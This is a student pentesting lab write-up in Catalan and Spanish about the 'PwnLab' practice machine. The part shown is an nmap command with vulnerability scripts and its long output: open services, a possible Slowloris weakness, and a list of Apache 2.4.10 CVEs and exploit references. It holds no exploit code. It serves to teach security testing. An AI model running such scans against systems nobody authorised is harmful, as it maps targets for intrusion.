Ir al contenido

Pràctica 7 - Pentesting Web (Màquina 2)

Primero, debemos hacer un nmap para poder escanear las vulnerabilidades de la máquina:

0lectures

Equip Portelcore

17/02/26

5023 - Posa en producció segura

Primer, hem de fer un nmap per poder escanejar les vulnerabilitats de la màquina:

Ventana de terminal
# Nmap 7.95 scan initiated Tue Feb 17 10:54:34 2026 as: /usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p80,111,3306,50913 -oA scans/192.168.10.176/detailed 192.168.10.176
Pre-scan script results:
| targets-ipv6-multicast-slaac:
| IP: fe80::d583:3ec1:ae11:b563 MAC: 00:15:5d:09:45:e9 IFACE: eth0
| IP: fe80::a827:f21b:8c48:eaf2 MAC: 00:15:5d:09:45:e9 IFACE: eth0
|_ Use --script-args=newtargets to add the results as targets
| targets-ipv6-multicast-mld:
| IP: fe80::aa97:feff:eff5:46e5 MAC: 00:15:5d:09:45:e9 IFACE: eth0
|
|_ Use --script-args=newtargets to add the results as targets
| broadcast-igmp-discovery:
| 172.27.16.1
| Interface: eth0
| Version: 2
| Group: 224.0.0.251
| Description: mDNS (rfc6762)
| 172.27.16.1
| Interface: eth0
| Version: 2
| Group: 239.192.152.143
| Description: Organization-Local Scope (rfc2365)
| 172.27.16.1
| Interface: eth0
| Version: 2
| Group: 239.255.255.250
| Description: Organization-Local Scope (rfc2365)
|_ Use the newtargets script-arg to add the results as targets
| ipv6-multicast-mld-list:
| fe80::aa97:feff:eff5:46e5:
| device: eth0
| mac: 00:15:5d:09:45:e9
| multicast_ips:
| ff02::1:fff5:46e5 (NDP Solicited-node)
| ff02::1:ff11:b563 (Solicited-Node Address)
| ff02::1:ff11:b563 (Solicited-Node Address)
| ff02::1:ff48:eaf2 (Solicited-Node Address)
| ff02::fb (mDNSv6)
| ff02::c (SSDP)
|_ ff02::1:ff48:eaf2 (Solicited-Node Address)
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
| targets-asn:
|_ targets-asn.asn is a mandatory parameter
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex's API. See https://www.robtex.com/api/
|_multicast-profinet-discovery: 0
Nmap scan report for 192.168.10.176
Host is up, received user-set (0.0014s latency).
Bug in http-security-headers: no string output.
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
| http-useragent-tester:
| Status for browser useragent: 200
| Allowed User Agents:
| Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
| libwww
| lwp-trivial
| libcurl-agent/1.0
| PHP/
| Python-urllib/2.5
| GT::WWW
| Snoopy
| MFC_Tear_Sample
| HTTP::Lite
| PHPCrawl
| URI::Fetch
| Zend_Http_Client
| http client
| PECL::HTTP
| Wget/1.13.4 (linux-gnu)
|_ WWW-Mechanize/1.34
|_http-server-header: Apache/2.4.10 (Debian)
| http-traceroute:
|_ Possible reverse proxy detected.
|_http-referer-checker: Couldn't find any cross-domain scripts.
|_http-chrono: Request times for /; avg: 191.16ms; min: 179.46ms; max: 203.75ms
|_http-title: PwnLab Intranet Image Hosting
|_http-date: Tue, 17 Feb 2026 09:55:00 GMT; -1s from local time.
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-xssed: No previously reported XSS vuln.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.0.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-auth-finder:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.10.176
| url method
|_ http://192.168.10.176:80/?page=login FORM
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-feed: Couldn't find any feeds.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.10.176
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.10.176:80/?page=login
| Form id: user
|_ Form action:
| http-enum:
| /login.php: Possible admin folder
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1
| /images/
| png: 1
| Longest directory structure:
| Depth: 1
| Dir: /images/
| Total files found (by extension):
|_ Other: 1; png: 1
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
|_http-errors: Couldn't find any error pages.
| http-headers:
| Date: Tue, 17 Feb 2026 09:55:01 GMT
| Server: Apache/2.4.10 (Debian)
| Connection: close
| Content-Type: text/html; charset=UTF-8
|
|_ (Request type: HEAD)
| http-vhosts:
| 124 names had status 200
| main
| administration
| beta
|_dns0
|_http-mobileversion-checker: No mobile version detected.
| vulners:
| cpe:/a:apache:http_server:2.4.10:
| PACKETSTORM:176334 9.8 https://vulners.com/packetstorm/PACKETSTORM:176334 *EXPLOIT*
| PACKETSTORM:171631 9.8 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT*
| HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6 9.8 https://vulners.com/httpd/HTTPD:E8492EE5729E8FB514D3C0EE370C9BC6
| HTTPD:C072933AA965A86DA3E2C9172FFC1569 9.8 https://vulners.com/httpd/HTTPD:C072933AA965A86DA3E2C9172FFC1569
| HTTPD:A1BBCE110E077FFBF4469D4F06DB9293 9.8 https://vulners.com/httpd/HTTPD:A1BBCE110E077FFBF4469D4F06DB9293
| HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D 9.8 https://vulners.com/httpd/HTTPD:A09F9CEBE0B7C39EDA0480FEAEF4FE9D
| HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8 9.8 https://vulners.com/httpd/HTTPD:9BCBE3C14201AFC4B0F36F15CB40C0F8
| HTTPD:9AD76A782F4E66676719E36B64777A7A 9.8 https://vulners.com/httpd/HTTPD:9AD76A782F4E66676719E36B64777A7A
| HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9 9.8 https://vulners.com/httpd/HTTPD:650C6B8A1FEAD1FBD1AF9746142659F9
| HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E 9.8 https://vulners.com/httpd/HTTPD:2BE0032A6ABE7CC52906DBAAFE0E448E
| HTTPD:1F84410918227CC81FA7C000C4F999A3 9.8 https://vulners.com/httpd/HTTPD:1F84410918227CC81FA7C000C4F999A3
| HTTPD:156974A46CA46AF26CC4140D00F7EB10 9.8 https://vulners.com/httpd/HTTPD:156974A46CA46AF26CC4140D00F7EB10
| EDB-ID:51193 9.8 https://vulners.com/exploitdb/EDB-ID:51193 *EXPLOIT*
| D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52 9.8 https://vulners.com/githubexploit/D5084D51-C8DF-5CBA-BC26-ACF2E33F8E52 *EXPLOIT*
| CVE-2024-38476 9.8 https://vulners.com/cve/CVE-2024-38476
| CVE-2024-38474 9.8 https://vulners.com/cve/CVE-2024-38474
| CVE-2023-25690 9.8 https://vulners.com/cve/CVE-2023-25690
| CVE-2022-31813 9.8 https://vulners.com/cve/CVE-2022-31813
| CVE-2022-23943 9.8 https://vulners.com/cve/CVE-2022-23943
| CVE-2022-22720 9.8 https://vulners.com/cve/CVE-2022-22720
| CVE-2021-44790 9.8 https://vulners.com/cve/CVE-2021-44790
| CVE-2021-39275 9.8 https://vulners.com/cve/CVE-2021-39275
| CVE-2021-26691 9.8 https://vulners.com/cve/CVE-2021-26691
| CVE-2018-1312 9.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2017-7679 9.8 https://vulners.com/cve/CVE-2017-7679
| CVE-2017-3169 9.8 https://vulners.com/cve/CVE-2017-3169
| CVE-2017-3167 9.8 https://vulners.com/cve/CVE-2017-3167
| CNVD-2024-36391 9.8 https://vulners.com/cnvd/CNVD-2024-36391
| CNVD-2024-36388 9.8 https://vulners.com/cnvd/CNVD-2024-36388
| CNVD-2022-51061 9.8 https://vulners.com/cnvd/CNVD-2022-51061
| CNVD-2022-41640 9.8 https://vulners.com/cnvd/CNVD-2022-41640
| CNVD-2022-03225 9.8 https://vulners.com/cnvd/CNVD-2022-03225
| CNVD-2021-102386 9.8 https://vulners.com/cnvd/CNVD-2021-102386
| B6297446-2DDD-52BA-B508-29A748A5D2CC 9.8 https://vulners.com/githubexploit/B6297446-2DDD-52BA-B508-29A748A5D2CC *EXPLOIT*
| 64A540A8-D918-5BEA-8F60-987F97B27A0C 9.8 https://vulners.com/githubexploit/64A540A8-D918-5BEA-8F60-987F97B27A0C *EXPLOIT*
| 5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 9.8 https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 *EXPLOIT*
| 3F17CA20-788F-5C45-88B3-E12DB2979B7B 9.8 https://vulners.com/githubexploit/3F17CA20-788F-5C45-88B3-E12DB2979B7B *EXPLOIT*
| 1337DAY-ID-39214 9.8 https://vulners.com/zdt/1337DAY-ID-39214 *EXPLOIT*
| 1337DAY-ID-38427 9.8 https://vulners.com/zdt/1337DAY-ID-38427 *EXPLOIT*
| 0DB60346-03B6-5FEE-93D7-FF5757D225AA 9.8 https://vulners.com/gitee/0DB60346-03B6-5FEE-93D7-FF5757D225AA *EXPLOIT*
| HTTPD:D868A1E68FB46E2CF5486281DCDB59CF 9.1 https://vulners.com/httpd/HTTPD:D868A1E68FB46E2CF5486281DCDB59CF
| HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6 9.1 https://vulners.com/httpd/HTTPD:509B04B8CC51879DD0A561AC4FDBE0A6
| HTTPD:2C227652EE0B3B961706AAFCACA3D1E1 9.1 https://vulners.com/httpd/HTTPD:2C227652EE0B3B961706AAFCACA3D1E1
| FD2EE3A5-BAEA-5845-BA35-E6889992214F 9.1 https://vulners.com/githubexploit/FD2EE3A5-BAEA-5845-BA35-E6889992214F *EXPLOIT*
| FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 9.1 https://vulners.com/githubexploit/FBC8A8BE-F00A-5B6D-832E-F99A72E7A3F7 *EXPLOIT*
| E606D7F4-5FA2-5907-B30E-367D6FFECD89 9.1 https://vulners.com/githubexploit/E606D7F4-5FA2-5907-B30E-367D6FFECD89 *EXPLOIT*
| D8A19443-2A37-5592-8955-F614504AAF45 9.1 https://vulners.com/githubexploit/D8A19443-2A37-5592-8955-F614504AAF45 *EXPLOIT*
| CVE-2024-40898 9.1 https://vulners.com/cve/CVE-2024-40898
| CVE-2024-38475 9.1 https://vulners.com/cve/CVE-2024-38475
| CVE-2022-28615 9.1 https://vulners.com/cve/CVE-2022-28615
| CVE-2022-22721 9.1 https://vulners.com/cve/CVE-2022-22721
| CVE-2017-9788 9.1 https://vulners.com/cve/CVE-2017-9788
| CNVD-2024-36387 9.1 https://vulners.com/cnvd/CNVD-2024-36387
| CNVD-2024-33814 9.1 https://vulners.com/cnvd/CNVD-2024-33814
| CNVD-2022-51060 9.1 https://vulners.com/cnvd/CNVD-2022-51060
| CNVD-2022-41638 9.1 https://vulners.com/cnvd/CNVD-2022-41638
| B5E74010-A082-5ECE-AB37-623A5B33FE7D 9.1 https://vulners.com/githubexploit/B5E74010-A082-5ECE-AB37-623A5B33FE7D *EXPLOIT*
| 5418A85B-F4B7-5BBD-B106-0800AC961C7A 9.1 https://vulners.com/githubexploit/5418A85B-F4B7-5BBD-B106-0800AC961C7A *EXPLOIT*
| HTTPD:1B3D546A8500818AAC5B1359FE11A7E4 9.0 https://vulners.com/httpd/HTTPD:1B3D546A8500818AAC5B1359FE11A7E4
| FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 9.0 https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 *EXPLOIT*
| CVE-2022-36760 9.0 https://vulners.com/cve/CVE-2022-36760
| CVE-2021-40438 9.0 https://vulners.com/cve/CVE-2021-40438
| CNVD-2023-30860 9.0 https://vulners.com/cnvd/CNVD-2023-30860
| CNVD-2022-03224 9.0 https://vulners.com/cnvd/CNVD-2022-03224
| AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C 9.0 https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C *EXPLOIT*
| 9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 9.0 https://vulners.com/githubexploit/9D9B3F4D-6B5C-5377-BE39-F1C432C9E457 *EXPLOIT*
| 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 9.0 https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT*
| 7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 9.0 https://vulners.com/githubexploit/7F48C6CF-47B2-5AF9-B6FD-1735FB2A95B2 *EXPLOIT*
| 36618CA8-9316-59CA-B748-82F15F407C4F 9.0 https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F *EXPLOIT*
| CVE-2025-58098 8.3 https://vulners.com/cve/CVE-2025-58098
| HTTPD:A7133572D328CD65C350E33F20834FAD 8.2 https://vulners.com/httpd/HTTPD:A7133572D328CD65C350E33F20834FAD
| CVE-2021-44224 8.2 https://vulners.com/cve/CVE-2021-44224
| CNVD-2021-102387 8.2 https://vulners.com/cnvd/CNVD-2021-102387
| B0A9E5E8-7CCC-5984-9922-A89F11D6BF38 8.2 https://vulners.com/githubexploit/B0A9E5E8-7CCC-5984-9922-A89F11D6BF38 *EXPLOIT*
| HTTPD:BA2AA2F9CA78BCC3B836D2041D1E15B6 8.1 https://vulners.com/httpd/HTTPD:BA2AA2F9CA78BCC3B836D2041D1E15B6
| HTTPD:B63E69E936F944F114293D6F4AB8D4D6 8.1 https://vulners.com/httpd/HTTPD:B63E69E936F944F114293D6F4AB8D4D6
| CVE-2024-38473 8.1 https://vulners.com/cve/CVE-2024-38473
| CVE-2017-15715 8.1 https://vulners.com/cve/CVE-2017-15715
| CVE-2016-5387 8.1 https://vulners.com/cve/CVE-2016-5387
| CNVD-2016-04948 8.1 https://vulners.com/cnvd/CNVD-2016-04948
| 249A954E-0189-5182-AE95-31C866A057E1 8.1 https://vulners.com/githubexploit/249A954E-0189-5182-AE95-31C866A057E1 *EXPLOIT*
| 23079A70-8B37-56D2-9D37-F638EBF7F8B5 8.1 https://vulners.com/githubexploit/23079A70-8B37-56D2-9D37-F638EBF7F8B5 *EXPLOIT*
| PACKETSTORM:181038 7.5 https://vulners.com/packetstorm/PACKETSTORM:181038 *EXPLOIT*
| MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- 7.5 https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-HTTP-APACHE_OPTIONSBLEED- *EXPLOIT*
| HTTPD:F1CFBC9B54DFAD0499179863D36830BB 7.5 https://vulners.com/httpd/HTTPD:F1CFBC9B54DFAD0499179863D36830BB
| HTTPD:D5C9AD5E120B9B567832B4A5DBD97F43 7.5 https://vulners.com/httpd/HTTPD:D5C9AD5E120B9B567832B4A5DBD97F43
| HTTPD:C317C7138B4A8BBD54A901D6DDDCB837 7.5 https://vulners.com/httpd/HTTPD:C317C7138B4A8BBD54A901D6DDDCB837
| HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F 7.5 https://vulners.com/httpd/HTTPD:C1F57FDC580B58497A5EC5B7D3749F2F
| HTTPD:B1B0A31C4AD388CC6C575931414173E2 7.5 https://vulners.com/httpd/HTTPD:B1B0A31C4AD388CC6C575931414173E2
| HTTPD:975FD708E753E143E7DFFC23510F802E 7.5 https://vulners.com/httpd/HTTPD:975FD708E753E143E7DFFC23510F802E
| HTTPD:63F2722DB00DBB3F59C40B40F32363B3 7.5 https://vulners.com/httpd/HTTPD:63F2722DB00DBB3F59C40B40F32363B3
| HTTPD:6236A32987BAE49DFBF020477B1278DD 7.5 https://vulners.com/httpd/HTTPD:6236A32987BAE49DFBF020477B1278DD
| HTTPD:60420623F2A716909480F87DB74EE9D7 7.5 https://vulners.com/httpd/HTTPD:60420623F2A716909480F87DB74EE9D7
| HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5 7.5 https://vulners.com/httpd/HTTPD:5E6BCDB2F7C53E4EDCE844709D930AF5
| HTTPD:34AD734658A873D0B091ED78567E6DF4 7.5 https://vulners.com/httpd/HTTPD:34AD734658A873D0B091ED78567E6DF4
| HTTPD:348811594B4FDD8579A34C563A16F7F6 7.5 https://vulners.com/httpd/HTTPD:348811594B4FDD8579A34C563A16F7F6
| HTTPD:11D4941ECBB2B14842A64574A692D8D1 7.5 https://vulners.com/httpd/HTTPD:11D4941ECBB2B14842A64574A692D8D1
| HTTPD:05E6BF2AD317E3658D2938931207AA66 7.5 https://vulners.com/httpd/HTTPD:05E6BF2AD317E3658D2938931207AA66
| EDB-ID:42745 7.5 https://vulners.com/exploitdb/EDB-ID:42745 *EXPLOIT*
| EDB-ID:40961 7.5 https://vulners.com/exploitdb/EDB-ID:40961 *EXPLOIT*
| CVE-2025-59775 7.5 https://vulners.com/cve/CVE-2025-59775
| CVE-2024-47252 7.5 https://vulners.com/cve/CVE-2024-47252
| CVE-2024-43394 7.5 https://vulners.com/cve/CVE-2024-43394
| CVE-2024-43204 7.5 https://vulners.com/cve/CVE-2024-43204
| CVE-2024-42516 7.5 https://vulners.com/cve/CVE-2024-42516
| CVE-2024-39573 7.5 https://vulners.com/cve/CVE-2024-39573
| CVE-2024-38477 7.5 https://vulners.com/cve/CVE-2024-38477
| CVE-2024-38472 7.5 https://vulners.com/cve/CVE-2024-38472
| CVE-2023-31122 7.5 https://vulners.com/cve/CVE-2023-31122
| CVE-2022-30556 7.5 https://vulners.com/cve/CVE-2022-30556
| CVE-2022-29404 7.5 https://vulners.com/cve/CVE-2022-29404
| CVE-2022-26377 7.5 https://vulners.com/cve/CVE-2022-26377
| CVE-2022-22719 7.5 https://vulners.com/cve/CVE-2022-22719
| CVE-2021-34798 7.5 https://vulners.com/cve/CVE-2021-34798
| CVE-2021-33193 7.5 https://vulners.com/cve/CVE-2021-33193
| CVE-2021-26690 7.5 https://vulners.com/cve/CVE-2021-26690
| CVE-2019-0217 7.5 https://vulners.com/cve/CVE-2019-0217
| CVE-2018-8011 7.5 https://vulners.com/cve/CVE-2018-8011
| CVE-2018-17199 7.5 https://vulners.com/cve/CVE-2018-17199
| CVE-2018-1303 7.5 https://vulners.com/cve/CVE-2018-1303
| CVE-2017-9798 7.5 https://vulners.com/cve/CVE-2017-9798
| CVE-2017-15710 7.5 https://vulners.com/cve/CVE-2017-15710
| CVE-2016-8743 7.5 https://vulners.com/cve/CVE-2016-8743
| CVE-2016-2161 7.5 https://vulners.com/cve/CVE-2016-2161
| CVE-2016-0736 7.5 https://vulners.com/cve/CVE-2016-0736
| CVE-2006-20001 7.5 https://vulners.com/cve/CVE-2006-20001
| CNVD-2025-30836 7.5 https://vulners.com/cnvd/CNVD-2025-30836
| CNVD-2025-16614 7.5 https://vulners.com/cnvd/CNVD-2025-16614
| CNVD-2025-16613 7.5 https://vulners.com/cnvd/CNVD-2025-16613
| CNVD-2025-16612 7.5 https://vulners.com/cnvd/CNVD-2025-16612
| CNVD-2025-16609 7.5 https://vulners.com/cnvd/CNVD-2025-16609
| CNVD-2024-36393 7.5 https://vulners.com/cnvd/CNVD-2024-36393
| CNVD-2024-36390 7.5 https://vulners.com/cnvd/CNVD-2024-36390
| CNVD-2024-36389 7.5 https://vulners.com/cnvd/CNVD-2024-36389
| CNVD-2024-20839 7.5 https://vulners.com/cnvd/CNVD-2024-20839
| CNVD-2023-93320 7.5 https://vulners.com/cnvd/CNVD-2023-93320
| CNVD-2023-80558 7.5 https://vulners.com/cnvd/CNVD-2023-80558
| CNVD-2022-53584 7.5 https://vulners.com/cnvd/CNVD-2022-53584
| CNVD-2022-51058 7.5 https://vulners.com/cnvd/CNVD-2022-51058
| CNVD-2022-41639 7.5 https://vulners.com/cnvd/CNVD-2022-41639
| CNVD-2022-13199 7.5 https://vulners.com/cnvd/CNVD-2022-13199
| CNVD-2022-03223 7.5 https://vulners.com/cnvd/CNVD-2022-03223
| CNVD-2019-41283 7.5 https://vulners.com/cnvd/CNVD-2019-41283
| CNVD-2019-08945 7.5 https://vulners.com/cnvd/CNVD-2019-08945
| CNVD-2017-13906 7.5 https://vulners.com/cnvd/CNVD-2017-13906
| CNVD-2016-13233 7.5 https://vulners.com/cnvd/CNVD-2016-13233
| CNVD-2016-13232 7.5 https://vulners.com/cnvd/CNVD-2016-13232
| CDC791CD-A414-5ABE-A897-7CFA3C2D3D29 7.5 https://vulners.com/githubexploit/CDC791CD-A414-5ABE-A897-7CFA3C2D3D29 *EXPLOIT*
| CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A 7.5 https://vulners.com/githubexploit/CD6A79B3-8167-5CFD-9FCB-6986FDF0BE1A *EXPLOIT*
| A0F268C8-7319-5637-82F7-8DAF72D14629 7.5 https://vulners.com/githubexploit/A0F268C8-7319-5637-82F7-8DAF72D14629 *EXPLOIT*
| 857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 7.5 https://vulners.com/githubexploit/857E0BF8-9A29-54C5-82EA-8D7C0798CAA6 *EXPLOIT*
| 56EC26AF-7FB6-5CF0-B179-6151B1D53BA5 7.5 https://vulners.com/githubexploit/56EC26AF-7FB6-5CF0-B179-6151B1D53BA5 *EXPLOIT*
| 45D138AD-BEC6-552A-91EA-8816914CA7F4 7.5 https://vulners.com/githubexploit/45D138AD-BEC6-552A-91EA-8816914CA7F4 *EXPLOIT*
| CVE-2025-49812 7.4 https://vulners.com/cve/CVE-2025-49812
| HTTPD:D66D5F45690EBE82B48CC81EF6388EE8 7.3 https://vulners.com/httpd/HTTPD:D66D5F45690EBE82B48CC81EF6388EE8
| CVE-2023-38709 7.3 https://vulners.com/cve/CVE-2023-38709
| CVE-2020-35452 7.3 https://vulners.com/cve/CVE-2020-35452
| CNVD-2024-36395 7.3 https://vulners.com/cnvd/CNVD-2024-36395
| CVE-2025-65082 6.5 https://vulners.com/cve/CVE-2025-65082
| CNVD-2025-30833 6.5 https://vulners.com/cnvd/CNVD-2025-30833
| CVE-2024-24795 6.3 https://vulners.com/cve/CVE-2024-24795
| CNVD-2024-36394 6.3 https://vulners.com/cnvd/CNVD-2024-36394
| HTTPD:E3E8BE7E36621C4506552BA051ECC3C8 6.1 https://vulners.com/httpd/HTTPD:E3E8BE7E36621C4506552BA051ECC3C8
| HTTPD:8DF9389A321028B4475CE2E9B5BFC7A6 6.1 https://vulners.com/httpd/HTTPD:8DF9389A321028B4475CE2E9B5BFC7A6
| HTTPD:5FF2D6B51D8115FFCB653949D8D36345 6.1 https://vulners.com/httpd/HTTPD:5FF2D6B51D8115FFCB653949D8D36345
| HTTPD:503FD99BD66D7A2A870F8608BC17CE57 6.1 https://vulners.com/httpd/HTTPD:503FD99BD66D7A2A870F8608BC17CE57
| CVE-2020-1927 6.1 https://vulners.com/cve/CVE-2020-1927
| CVE-2019-10098 6.1 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-10092 6.1 https://vulners.com/cve/CVE-2019-10092
| CVE-2016-4975 6.1 https://vulners.com/cve/CVE-2016-4975
| CNVD-2020-21904 6.1 https://vulners.com/cnvd/CNVD-2020-21904
| CNVD-2018-15542 6.1 https://vulners.com/cnvd/CNVD-2018-15542
| CAB023BA-58A3-5C35-BF97-F9C43133DB5E 6.1 https://vulners.com/gitee/CAB023BA-58A3-5C35-BF97-F9C43133DB5E *EXPLOIT*
| 4013EC74-B3C1-5D95-938A-54197A58586D 6.1 https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D *EXPLOIT*
| HTTPD:5C83890838E7C6903630B41EC3F2540D 5.9 https://vulners.com/httpd/HTTPD:5C83890838E7C6903630B41EC3F2540D
| CVE-2018-1302 5.9 https://vulners.com/cve/CVE-2018-1302
| CVE-2018-1301 5.9 https://vulners.com/cve/CVE-2018-1301
| CNVD-2018-06536 5.9 https://vulners.com/cnvd/CNVD-2018-06536
| CNVD-2018-06535 5.9 https://vulners.com/cnvd/CNVD-2018-06535
| 1337DAY-ID-33577 5.8 https://vulners.com/zdt/1337DAY-ID-33577 *EXPLOIT*
| HTTPD:B900BFA5C32A54AB9D565F59C8AC1D05 5.5 https://vulners.com/httpd/HTTPD:B900BFA5C32A54AB9D565F59C8AC1D05
| CVE-2020-13938 5.5 https://vulners.com/cve/CVE-2020-13938
| CNVD-2021-44765 5.5 https://vulners.com/cnvd/CNVD-2021-44765
| CVE-2025-66200 5.4 https://vulners.com/cve/CVE-2025-66200
| CNVD-2025-30835 5.4 https://vulners.com/cnvd/CNVD-2025-30835
| HTTPD:FCCF5DB14D66FA54B47C34D9680C0335 5.3 https://vulners.com/httpd/HTTPD:FCCF5DB14D66FA54B47C34D9680C0335
| HTTPD:EB26BC6B6E566C865F53A311FC1A6744 5.3 https://vulners.com/httpd/HTTPD:EB26BC6B6E566C865F53A311FC1A6744
| HTTPD:BAAB4065D254D64A717E8A5C847C7BCA 5.3 https://vulners.com/httpd/HTTPD:BAAB4065D254D64A717E8A5C847C7BCA
| HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F 5.3 https://vulners.com/httpd/HTTPD:8806CE4EFAA6A567C7FAD62778B6A46F
| HTTPD:85F5649E5C2D697DCF21420D622C618E 5.3 https://vulners.com/httpd/HTTPD:85F5649E5C2D697DCF21420D622C618E
| HTTPD:5C8B0394DE17D1C29719B16CE00F475D 5.3 https://vulners.com/httpd/HTTPD:5C8B0394DE17D1C29719B16CE00F475D
| HTTPD:25716876F18D7575B7A8778A4476ED9E 5.3 https://vulners.com/httpd/HTTPD:25716876F18D7575B7A8778A4476ED9E
| CVE-2022-37436 5.3 https://vulners.com/cve/CVE-2022-37436
| CVE-2022-28614 5.3 https://vulners.com/cve/CVE-2022-28614
| CVE-2022-28330 5.3 https://vulners.com/cve/CVE-2022-28330
| CVE-2020-1934 5.3 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-11985 5.3 https://vulners.com/cve/CVE-2020-11985
| CVE-2019-17567 5.3 https://vulners.com/cve/CVE-2019-17567
| CVE-2019-0220 5.3 https://vulners.com/cve/CVE-2019-0220
| CVE-2018-1283 5.3 https://vulners.com/cve/CVE-2018-1283
| CNVD-2023-30859 5.3 https://vulners.com/cnvd/CNVD-2023-30859
| CNVD-2022-53582 5.3 https://vulners.com/cnvd/CNVD-2022-53582
| CNVD-2022-51059 5.3 https://vulners.com/cnvd/CNVD-2022-51059
| CNVD-2021-44766 5.3 https://vulners.com/cnvd/CNVD-2021-44766
| CNVD-2020-46278 5.3 https://vulners.com/cnvd/CNVD-2020-46278
| CNVD-2020-29872 5.3 https://vulners.com/cnvd/CNVD-2020-29872
| CNVD-2019-08941 5.3 https://vulners.com/cnvd/CNVD-2019-08941
| SSV:96537 5.0 https://vulners.com/seebug/SSV:96537 *EXPLOIT*
| SSV:62058 5.0 https://vulners.com/seebug/SSV:62058 *EXPLOIT*
| HTTPD:E07AEA8765BD0F6E15AAD496A2714564 5.0 https://vulners.com/httpd/HTTPD:E07AEA8765BD0F6E15AAD496A2714564
| HTTPD:A2EC89FEFE17D8EC8F8C3049CF6ED335 5.0 https://vulners.com/httpd/HTTPD:A2EC89FEFE17D8EC8F8C3049CF6ED335
| HTTPD:867B7FEBC94AAFD9542C6BE363C3D8A3 5.0 https://vulners.com/httpd/HTTPD:867B7FEBC94AAFD9542C6BE363C3D8A3
| HTTPD:3353898BFE39BBDF8391739FC2DDB5B1 5.0 https://vulners.com/httpd/HTTPD:3353898BFE39BBDF8391739FC2DDB5B1
| HTTPD:30E31E412AB4505FEE1161AB62A2E9AD 5.0 https://vulners.com/httpd/HTTPD:30E31E412AB4505FEE1161AB62A2E9AD
| EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7 5.0 https://vulners.com/exploitpack/EXPLOITPACK:DAED9B9E8D259B28BF72FC7FDC4755A7 *EXPLOIT*
| EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D 5.0 https://vulners.com/exploitpack/EXPLOITPACK:C8C256BE0BFF5FE1C0405CB0AA9C075D *EXPLOIT*
| CVE-2015-3183 5.0 https://vulners.com/cve/CVE-2015-3183
| CVE-2015-0228 5.0 https://vulners.com/cve/CVE-2015-0228
| CVE-2014-3583 5.0 https://vulners.com/cve/CVE-2014-3583
| CVE-2014-3581 5.0 https://vulners.com/cve/CVE-2014-3581
| CVE-2013-5704 5.0 https://vulners.com/cve/CVE-2013-5704
| CNVD-2015-01691 5.0 https://vulners.com/cnvd/CNVD-2015-01691
| 1337DAY-ID-28573 5.0 https://vulners.com/zdt/1337DAY-ID-28573 *EXPLOIT*
| 1337DAY-ID-26574 5.0 https://vulners.com/zdt/1337DAY-ID-26574 *EXPLOIT*
| HTTPD:C42F64A6857578ED72E18211FDE568E0 4.3 https://vulners.com/httpd/HTTPD:C42F64A6857578ED72E18211FDE568E0
| HTTPD:883E996A34F70F5DF670D81697321AAB 4.3 https://vulners.com/httpd/HTTPD:883E996A34F70F5DF670D81697321AAB
| CVE-2016-8612 4.3 https://vulners.com/cve/CVE-2016-8612
